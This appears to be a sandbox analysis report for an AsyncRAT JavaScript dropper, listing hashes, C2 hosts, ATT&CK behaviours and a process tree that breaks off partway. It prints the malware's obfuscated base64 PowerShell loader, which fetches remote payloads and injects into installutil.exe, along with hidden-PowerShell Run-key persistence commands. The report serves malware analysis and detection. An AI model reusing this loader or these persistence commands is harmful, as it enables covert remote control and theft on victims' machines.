asyncrat | db6955e8a069e420a6a1ebc007eda6ec740479968195d79f4511e8eeb98873c6

Analysis

max time kernel
149s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
02/06/2026, 08:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
V2221000552100021-211021.js
Size 41KB
Sample260602-ktb84ahs8z
SHA256 db6955e8a069e420a6a1ebc007eda6ec740479968195d79f4511e8eeb98873c6
MD5 d07d1ec0a6a1594dcfed9c7fc20b5c17
SHA1 5c8d42868479278a792dfe9e1ae9c594c0eb69e9
SHA512 07dcd4c2250aaacdae5fd51fd53c586f6d13c33da91bc5ce8c58b71315a5caa6d91eea9ccdbd4647338a4bf20f3419952c1f566c4dbbeba24f13e6914f3a64bd
SSDEEP 768:knWyReyeyeyeyeyeyeyeyeyeyeyeyeyeyeyeyeyeyVyczW19llFBb1VZBF3:4TR777777777777777777sczWf/FBV
TLSH
T1FD138616358FCA1471B2878A4A9F03744B6F395F1FBF0089058DEAC94FE35225C977A6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

stg defense_evasion discovery execution asyncrat persistence rat suricata

Malware Config

Extracted

Family

asyncrat

Version

0.5.9 A

Botnet

xtadts.ddns.net:2055
afxwd.ddns.net:2055

Mutex

ORcoJrFrh0hf

Attributes

delay
5
install
false
install_file
null
install_folder
null

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound 2 IoCs

Network activity triggered a Suricata alert

suricata asyncrat

flow	pid	Process
83	4496	installutil.exe
83	4496	installutil.exe

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
26	2284	powershell.exe
59	5492	powershell.exe
61	5492	powershell.exe
69	5492	powershell.exe
78	5492	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3356	powershell.exe
3524	powershell.exe
1224	powershell.exe
5368	powershell.exe
2284	powershell.exe
5492	powershell.exe
1864	powershell.exe
5620	powershell.exe
3468	powershell.exe
5480	powershell.exe
1380	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	wscript.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_vvd = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\psufa.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_gzh = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\psufa.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_vvd = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\psufa.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_vvd = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\psufa.ps1' \";exit"	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
5492	powershell.exe
5492	powershell.exe
5620	powershell.exe
5620	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5620 set thread context of 4496	5620	powershell.exe	145

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
1964	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 28 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1488	cmd.exe
4040	cmd.exe
1676	PING.EXE
4300	PING.EXE
5940	PING.EXE
3724	cmd.exe
4076	cmd.exe
4084	cmd.exe
5208	PING.EXE
4292	PING.EXE
5884	PING.EXE
2024	cmd.exe
760	cmd.exe
3936	cmd.exe
2052	cmd.exe
5112	PING.EXE
3680	PING.EXE
384	PING.EXE
2644	PING.EXE
5396	PING.EXE
4916	cmd.exe
5836	cmd.exe
2544	PING.EXE
3660	cmd.exe
4400	PING.EXE
5224	cmd.exe
5020	PING.EXE
5452	cmd.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1492	ipconfig.exe

Runs ping.exe 1 TTPs 14 IoCs

Remote System Discovery

T1018

pid	Process
3680	PING.EXE
5940	PING.EXE
384	PING.EXE
2644	PING.EXE
5396	PING.EXE
5208	PING.EXE
4300	PING.EXE
4400	PING.EXE
2544	PING.EXE
5112	PING.EXE
1676	PING.EXE
4292	PING.EXE
5884	PING.EXE
5020	PING.EXE

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
1380	powershell.exe
1380	powershell.exe
2284	powershell.exe
2284	powershell.exe
5492	powershell.exe
5492	powershell.exe
1964	powershell.exe
1964	powershell.exe
1964	powershell.exe
5492	powershell.exe
5492	powershell.exe
5480	powershell.exe
5480	powershell.exe
5480	powershell.exe
5492	powershell.exe
1864	powershell.exe
1864	powershell.exe
1224	powershell.exe
1224	powershell.exe
5620	powershell.exe
5620	powershell.exe
5620	powershell.exe
5620	powershell.exe
5620	powershell.exe
5620	powershell.exe
5620	powershell.exe
3468	powershell.exe
3468	powershell.exe
5620	powershell.exe
3356	powershell.exe
3356	powershell.exe
5620	powershell.exe
5620	powershell.exe
5620	powershell.exe
5620	powershell.exe
5620	powershell.exe
5620	powershell.exe
5620	powershell.exe
5368	powershell.exe
5368	powershell.exe
5620	powershell.exe
5620	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5620	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1380	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeIncreaseQuotaPrivilege	2284	powershell.exe
Token: SeSecurityPrivilege	2284	powershell.exe
Token: SeTakeOwnershipPrivilege	2284	powershell.exe
Token: SeLoadDriverPrivilege	2284	powershell.exe
Token: SeSystemProfilePrivilege	2284	powershell.exe
Token: SeSystemtimePrivilege	2284	powershell.exe
Token: SeProfSingleProcessPrivilege	2284	powershell.exe
Token: SeIncBasePriorityPrivilege	2284	powershell.exe
Token: SeCreatePagefilePrivilege	2284	powershell.exe
Token: SeBackupPrivilege	2284	powershell.exe
Token: SeRestorePrivilege	2284	powershell.exe
Token: SeShutdownPrivilege	2284	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeSystemEnvironmentPrivilege	2284	powershell.exe
Token: SeRemoteShutdownPrivilege	2284	powershell.exe
Token: SeUndockPrivilege	2284	powershell.exe
Token: SeManageVolumePrivilege	2284	powershell.exe
Token: 33	2284	powershell.exe
Token: 34	2284	powershell.exe
Token: 35	2284	powershell.exe
Token: 36	2284	powershell.exe
Token: SeIncreaseQuotaPrivilege	2284	powershell.exe
Token: SeSecurityPrivilege	2284	powershell.exe
Token: SeTakeOwnershipPrivilege	2284	powershell.exe
Token: SeLoadDriverPrivilege	2284	powershell.exe
Token: SeSystemProfilePrivilege	2284	powershell.exe
Token: SeSystemtimePrivilege	2284	powershell.exe
Token: SeProfSingleProcessPrivilege	2284	powershell.exe
Token: SeIncBasePriorityPrivilege	2284	powershell.exe
Token: SeCreatePagefilePrivilege	2284	powershell.exe
Token: SeBackupPrivilege	2284	powershell.exe
Token: SeRestorePrivilege	2284	powershell.exe
Token: SeShutdownPrivilege	2284	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeSystemEnvironmentPrivilege	2284	powershell.exe
Token: SeRemoteShutdownPrivilege	2284	powershell.exe
Token: SeUndockPrivilege	2284	powershell.exe
Token: SeManageVolumePrivilege	2284	powershell.exe
Token: 33	2284	powershell.exe
Token: 34	2284	powershell.exe
Token: 35	2284	powershell.exe
Token: 36	2284	powershell.exe
Token: SeDebugPrivilege	5492	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeIncreaseQuotaPrivilege	1964	powershell.exe
Token: SeSecurityPrivilege	1964	powershell.exe
Token: SeTakeOwnershipPrivilege	1964	powershell.exe
Token: SeLoadDriverPrivilege	1964	powershell.exe
Token: SeSystemProfilePrivilege	1964	powershell.exe
Token: SeSystemtimePrivilege	1964	powershell.exe
Token: SeProfSingleProcessPrivilege	1964	powershell.exe
Token: SeIncBasePriorityPrivilege	1964	powershell.exe
Token: SeCreatePagefilePrivilege	1964	powershell.exe
Token: SeBackupPrivilege	1964	powershell.exe
Token: SeRestorePrivilege	1964	powershell.exe
Token: SeShutdownPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeSystemEnvironmentPrivilege	1964	powershell.exe
Token: SeRemoteShutdownPrivilege	1964	powershell.exe
Token: SeUndockPrivilege	1964	powershell.exe
Token: SeManageVolumePrivilege	1964	powershell.exe
Token: 33	1964	powershell.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 3796 wrote to memory of 2912	3796	wscript.exe	87
PID 2912 wrote to memory of 1380	2912	wscript.exe	88
PID 1380 wrote to memory of 2284	1380	powershell.exe	91
PID 2284 wrote to memory of 5492	2284	powershell.exe	94
PID 5492 wrote to memory of 1964	5492	powershell.exe	103
PID 5492 wrote to memory of 4916	5492	powershell.exe	104
PID 5492 wrote to memory of 760	5492	powershell.exe	105
PID 5492 wrote to memory of 5452	5492	powershell.exe	106
PID 5492 wrote to memory of 5836	5492	powershell.exe	107
PID 5492 wrote to memory of 3936	5492	powershell.exe	108
PID 5492 wrote to memory of 2052	5492	powershell.exe	109
PID 5492 wrote to memory of 1488	5492	powershell.exe	110
PID 1488 wrote to memory of 2544	1488	cmd.exe	111
PID 760 wrote to memory of 5112	760	cmd.exe	112
PID 4916 wrote to memory of 3680	4916	cmd.exe	113
PID 5452 wrote to memory of 5940	5452	cmd.exe	114
PID 5492 wrote to memory of 3660	5492	powershell.exe	115
PID 5492 wrote to memory of 3724	5492	powershell.exe	116
PID 5492 wrote to memory of 4076	5492	powershell.exe	117
PID 5492 wrote to memory of 4084	5492	powershell.exe	118
PID 5492 wrote to memory of 4040	5492	powershell.exe	119
PID 3660 wrote to memory of 5208	3660	cmd.exe	120
PID 3724 wrote to memory of 5396	3724	cmd.exe	121
PID 4084 wrote to memory of 1676	4084	cmd.exe	122
PID 4076 wrote to memory of 2644	4076	cmd.exe	123
PID 4040 wrote to memory of 384	4040	cmd.exe	124
PID 5836 wrote to memory of 4292	5836	cmd.exe	125
PID 3936 wrote to memory of 4300	3936	cmd.exe	126
PID 2052 wrote to memory of 4400	2052	cmd.exe	127
PID 1964 wrote to memory of 1492	1964	powershell.exe	129
PID 5492 wrote to memory of 5480	5492	powershell.exe	130
PID 5492 wrote to memory of 5224	5492	powershell.exe	134
PID 5224 wrote to memory of 5884	5224	cmd.exe	135
PID 5492 wrote to memory of 2024	5492	powershell.exe	136
PID 2024 wrote to memory of 5020	2024	cmd.exe	137
PID 5492 wrote to memory of 2872	5492	powershell.exe	138
PID 5492 wrote to memory of 1864	5492	powershell.exe	139
PID 5492 wrote to memory of 1224	5492	powershell.exe	140
PID 5492 wrote to memory of 5620	5492	powershell.exe	141
PID 5492 wrote to memory of 1700	5492	powershell.exe	142
PID 5620 wrote to memory of 4496	5620	powershell.exe	145
PID 5620 wrote to memory of 4496	5620	powershell.exe	145
PID 5620 wrote to memory of 4496	5620	powershell.exe	145
PID 5620 wrote to memory of 4496	5620	powershell.exe	145
PID 5620 wrote to memory of 4496	5620	powershell.exe	145
PID 5620 wrote to memory of 3468	5620	powershell.exe	146
PID 3468 wrote to memory of 3356	3468	powershell.exe	148
PID 3468 wrote to memory of 3524	3468	powershell.exe	150
PID 3468 wrote to memory of 5368	3468	powershell.exe	151

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\V2221000552100021-211021.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3796
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Public\ykqzy.js"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c ";$OoOOF = $null ;;$HSfNk ;;$uMMuq ;;$uMMuq = 'ZnVuY3Rpb24gaXJSa' + '0' + 'ggew' + '0' + 'KIC' + ' + A + ' + 'gIHBvd2Vyc2hlbGwgLWNvbW1hbmQgIlJlc3RhIi' + 'A' + 'rICJydC1Db21wdXRlci' + 'A' + 'tRm' + ' + 9 + ' + 'yY2UiDQp' + ' + 9 + ' + 'O1N' + '0' + 'YXJ' + '0' + 'LVNs' + 'ZW' + 'VwIC1T' + 'ZW' + 'NvbmRzIDU7IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpT' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sID' + '0' + 'gW1N5c3RlbS5OZXQuU2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbFR5cGVdOjpUbHMxMjsNCjskcFZ1Vm8gPSBUZXN' + '0' + 'LUNvbm5lY3Rpb24gJ3d3dy5nb2' + ' + 9 + ' + 'nbGUuY2' + ' + 9 + ' + 'tJy' + 'A' + 'tRXJyb3JBY3Rpb24gU2ls' + 'ZW' + '5' + '0' + 'bHlDb25' + '0' + 'aW51ZTsNCiRFRml5ci' + 'A' + '' + ' + 9 + ' + 'ICRwVnVWby' + 'A' + 'taXMgW' + '0' + 'FycmF5XTsNCmlmICgkRUZpeXIpew' + '0' + 'KDQp' + ' + 9 + ' + 'DQplbHNlew' + '0' + 'KaXJSa' + '0' + 'ggOw' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gZXhpdDsNCn' + '0' + '7DQoNCiRteGpGcC' + 'A' + '' + ' + 9 + ' + 'ICdJbW11bml' + '0' + 'eURlYnVnZ2VyJy' + 'A' + '7DQoNCjtpZigoZ2V' + '0' + 'LXByb2Nlc3MgJ2hhbmRsZScsICdhdXRvJy' + 'A' + 'rICdydW5zYycsICdEYmd2aWV3JywgJ3RjcHZjb24nLC' + 'A' + 'nYW55LnJ1bicsICdhbnkucnVuJywgJ3NhbmRib3gnLC' + 'A' + 'ndGNwdmlldycsICdPTExZREJHJywkbXhqRn' + 'A' + 'sICdXaXJlJy' + 'A' + 'rICdzaGFyaycsJ2FwYXRlRE5TJywnYW5hbHl6ZScgLWVhIFNpbGVudGx5Q2' + ' + 9 + ' + 'udGludWUpIC1lcS' + 'A' + 'kTnVsbCl7I' + 'A' + '' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gI' + 'A' + '' + '0' + 'KfQ' + '0' + 'K' + 'ZW' + 'xzZXsgDQppclJrSC' + 'A' + '7DQogIC' + 'A' + 'gICBleGl' + '0' + 'Ow' + '0' + 'KIH' + '0' + '7W1N5c3RlbS5OZXQuU2VydmljZVBvaW5' + '0' + 'TWFuYWdlcl' + '0' + '6OlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2wgPSBbU3lzdGVtLk5ldC5T' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sVHlwZV' + '0' + '6OlRsczEyIDskbmV6U287RnVuY3Rpb24gVWdzTUV7OyRVbWpzbS' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKFtzeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQ2' + ' + 9 + ' + 'udmVydF' + '0' + '6OkZyb21CYXNlNjRTdHJpbmcoJG5lelNvKSk7cmV' + '0' + 'dXJuICRVbWpzbTt' + ' + 9 + ' + 'OyRrTllaZS' + 'A' + '' + ' + 9 + ' + 'ICggJ' + '0' + 'M6XFVzZXJzXFB1YmxpY1wnICsgJ2x5Y3B' + '0' + 'LnR4dCcpOyRkRFRvci' + 'A' + '' + ' + 9 + ' + 'ICdhSFIwY' + '0' + 'hNNkx5Jy' + 'A' + 'rICgnOWhibVJ5WldabGJHbHdaV1J2Ym1GelkybHRaVEUzTnpnM' + '0' + '8nIC1yZXBsYWNlICwgJ1wkJywgJ' + '0' + 'EnKS' + 'A' + 'rICdUazBNRFk1TnpBdU1qSTBNVEV3Tnk1dFpYVnphWFJsYUc5emRHZGhkRzl5TG1OdmJTNWljaTlIY' + '0' + 'dGNmJFeF' + 'ZW' + 'MGxLWHpFMFh6QTFYMDFsZFhOZlFYSnhkV2wyYjNORVpWUmxlSFJ2THpBekxuUjRkQT' + '0' + '' + ' + 9 + ' + 'Jy' + 'A' + '7JG5lelNvID' + '0' + 'gJGREVG' + ' + 9 + ' + 'yOy' + 'A' + 'kZERUb3IgPSBVZ3NNRTskZERUb3IgfCBPdXQtRmlsZS' + 'A' + 'tRmlsZVBhdGggJGtOWVplIC1FbmNvZGluZy' + 'A' + 'nVVRGOCcgLWZvcmNlIDskS1FaZmUgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICdmcnNiZi5' + '0' + 'eHQnKS' + 'A' + '7JHRtY2prID' + '0' + 'gTmV3LU' + ' + 9 + ' + 'iamVjdCBTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LldlYkNsaWVudC' + 'A' + '7JHRtY2prLkVuY2' + ' + 9 + ' + 'kaW5nID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC' + 'A' + '7JHRtY2prLkhlYWRlcnMuQWRkKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'Lkh' + '0' + 'dHBSZXF1ZXN' + '0' + 'SGVhZGVyXTo6Q2FjaGVDb25' + '0' + 'cm' + ' + 9 + ' + 'sLC' + 'A' + 'nbm8tY2FjaGUnKS' + 'A' + '7JHRtY2prLkhlYWRlcnMuQWRkKFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'Lkh' + '0' + 'dHBSZXF1ZXN' + '0' + 'SGVhZGVyXTo6UHJhZ21hLC' + 'A' + 'nbm8tY2FjaGUnKS' + 'A' + '7JHRtY2prLlByb3h5ID' + '0' + 'gJG51bGwgOyRhdnRWdi' + 'A' + 'gPS' + 'A' + 'oIEdldC1Db25' + '0' + '' + 'ZW' + '5' + '0' + 'IC1QYXRoICRrTllaZS' + 'A' + 'pIDskVmRhUW4gPS' + 'A' + 'kdG1jamsuRG' + ' + 9 + ' + '3bmxvYWREYXRhKC' + 'A' + 'kYXZ' + '0' + 'VnYuVHJpbSgpICkgOyRmdHFmcC' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjguR2V' + '0' + 'U3RyaW5nKCRWZGFRbik7JGZ' + '0' + 'cWZwID' + '0' + 'gKE' + 'A' + 'oW3JlZ2V4XTo6c3BsaXQoJGZ' + '0' + 'cWZwLCdcJXglKycpKVsxXSkuVHJpbSgpOyRmdHFmcCB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kS1FaZmUgLWZvcmNlIDskU' + '0' + 'Rkd3cgPS' + 'A' + 'nTG8nICsgJ2FkJzskSEl3WVogPS' + 'A' + 'nQXNzZScgKy' + 'A' + 'nbWJseSc7JE' + ' + 9 + ' + 'rendKID' + '0' + 'gJ2ludicgKy' + 'A' + 'nb2tlJzskcGJnRnQgPS' + 'A' + 'nUmVmbGUnICsgJ2N' + '0' + 'aW' + ' + 9 + ' + 'uJzskZ2tVSUggPS' + 'A' + 'kbnVsbDskdHdqd2ggKz' + '0' + 'gJyRSQkJmWi' + 'A' + '' + ' + 9 + ' + 'ICgnJ2ggdCB' + '0' + 'cHMgOi' + 'A' + 'vIC8nJy5SZXBsYWNlKCcnICcnLC' + 'A' + 'nJycnKS' + 'A' + 'rICcnYW5kcmVm' + 'ZW' + 'xpcGVkb25hc2NpbWUxNzc4Nzk5ND' + 'A' + '2OTcwLjIyNDExMDcubWV1c2l' + '0' + '' + 'ZW' + 'hvc3RnYXRvci5jb2' + '0' + 'uYnIvJycgKy' + 'A' + 'nJ' + '0' + 'dwYXpsTFVXSUpfMTRfMDVfTWV1c1' + ' + 9 + ' + 'BcnF1aXZvc' + '0' + 'RlVGV4dG8vJycgKy' + 'A' + 'nJ1BlTm8nJykgOycgOyR' + '0' + 'd2p3aC' + 'A' + 'rPS' + 'A' + 'nJHpnSG' + ' + 9 + ' + 'XID' + '0' + 'gJyclYmFzZTY' + '0' + 'JWRIaDBMbUV2TURnM' + '0' + '5XRTRMMjF2WXk1aGFYSjFiM' + '0' + 'owYzJGakxtOee3kmIyeGhkR' + '0' + 'ZqTHk4NmMzQjBkR2c' + ' + 9 + ' + 'JycgOyR6Z' + '0' + 'hvVy' + 'A' + '' + ' + 9 + ' + 'ICgkemdIb1cgLXJlcGxhY2UgJyfnt5InJy' + 'A' + 'sICcnbicnKS' + 'A' + '7OyRjVEZ6Ti' + 'A' + '' + ' + 9 + ' + 'ICggJydDOlxVc2Vyc1xQdWJsaWNcJycgKy' + 'A' + 'nJ2Zyc2JmLnR4dCcnKS' + 'A' + '7JGx2a2RuID' + '0' + 'gKEdldC1Db25' + '0' + '' + 'ZW' + '5' + '0' + 'IC1QYXRoICRjVEZ6Ti' + 'A' + 'tRW5jb2RpbmcgVVRGOCk7Jy' + 'A' + '7JHR3andoICs' + ' + 9 + ' + 'ICckbHZrZG4gLXJlcGxhY2UgJycgJycsICcnJycgOycgOyR' + '0' + 'd2p3aC' + 'A' + 'rPS' + 'A' + 'nW2J5dGVbXV' + '0' + 'kbm53enogPSBbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXV' + '0' + '6Om5ldygpOycgOyR' + '0' + 'd2p3aC' + 'A' + 'rPS' + 'A' + 'nJG5ud3p6ID' + '0' + 'gKCRsdmtkbi' + 'A' + 'gLXNwbGl' + '0' + 'ICcnLCcnIHwgRm' + ' + 9 + ' + 'yRWFjaC1PYmplY3QgeyBbYnl' + '0' + 'ZV' + '0' + 'oJF8uVHJpbSgpKSB' + ' + 9 + ' + 'KS' + 'A' + '7JzskdHdqd2ggKz' + '0' + 'gJyRzclFEby' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uJy' + 'A' + 'rICRwYmdGdC' + 'A' + 'rICcuJy' + 'A' + 'rICRISXd' + 'ZW' + 'i' + 'A' + 'rICddOjonICsgJFNEZHd3ICsgJyggJG5ud3p6ICk7Jy' + 'A' + '7JHR3andoICs' + ' + 9 + ' + 'ICckZ3hWeEkgPS' + 'A' + 'kc3JRRG8uR2V' + '0' + 'VHlwZSggJydDbGFzc' + '0' + 'xpYnJhcnkzLkNsYXNzMScnICk7Jy' + 'A' + '7JHR3andoICs' + ' + 9 + ' + 'ICckWERyUWQgPS' + 'A' + 'kZ3hWeEkuR2V' + '0' + 'TWV' + '0' + 'aG' + ' + 9 + ' + 'kKC' + 'A' + 'nJ3ByRlZJJycgKS4nICsgJE' + ' + 9 + ' + 'rendKICsgJyggJGdrVUlIICwgW2' + ' + 9 + ' + 'iamVjdFtdXS' + 'A' + 'oICR6Z' + '0' + 'hvVy' + 'A' + 'sICcnJX' + 'ZW' + 'bEd6JScnICwgJydEIEREQzpcV2luZG' + ' + 9 + ' + '3c1xNaWNyb3NvZnQuTkVUXEZyYW1ld2' + ' + 9 + ' + 'ya1x2NC4wLjMwMzE5XGluc3RhbGx1dGlsJycsICcnJHRydWUnJywgJFJCQmZaICkgKTsnIDskakdhZEIgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICdmenJxcl8wMS5wczEnICkgOyR' + '0' + 'd2p3aCB8IE' + ' + 9 + ' + '1dC1GaWxlIC1GaWxlUGF' + '0' + 'aC' + 'A' + 'kakdhZEIgLWZvcmNlIDtTdGFydC1TbGVlcC' + 'A' + 'tcy' + 'A' + '1Oztwb3dlcnNo' + 'ZW' + 'xsIC1FeGVjdXRpb25Qb2xpY3kgYnlwYXNzIC1GaWxlICRqR2FkQi' + 'A' + '7' ;;$HSfNk ;;$GGIvy = ($uMMuq + $HSfNk) ;;$mhjsf = $GGIvy ;$mhjsf = $mhjsf.replace('''',$OoOOF) ;$mhjsf = $mhjsf.replace('+ ',$OoOOF) ;$mhjsf = $mhjsf.replace(' ',$OoOOF) ;Function Cdqxn{;$xVYHD = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String( $mhjsf ));return $xVYHD;};$gtDQD = Cdqxn; $gtDQD = ($gtDQD -replace '%vVlGz%','C:\Users\Public\ykqzy的这五js') ;$JWSrQ = 'C:\Users\Public\fjysh.p' + 's1' ; $gtDQD | Out-File -FilePath $JWSrQ -force ; powershell -ExecutionPolicy Bypass -file $JWSrQ ; "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1380
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\fjysh.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2284
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\fzrqr_01.ps1
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5492
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Clear-DnsClientCache -ErrorAction SilentlyContinue; ipconfig /flushdns | Out-Null ;
        6⤵
        Hide Artifacts: Ignore Process Interrupts
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1964
        
        C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /flushdns
        7⤵
        Gathers network information
        
        PID:1492
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1778707058.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4916
        
        C:\Windows\system32\PING.EXE
        
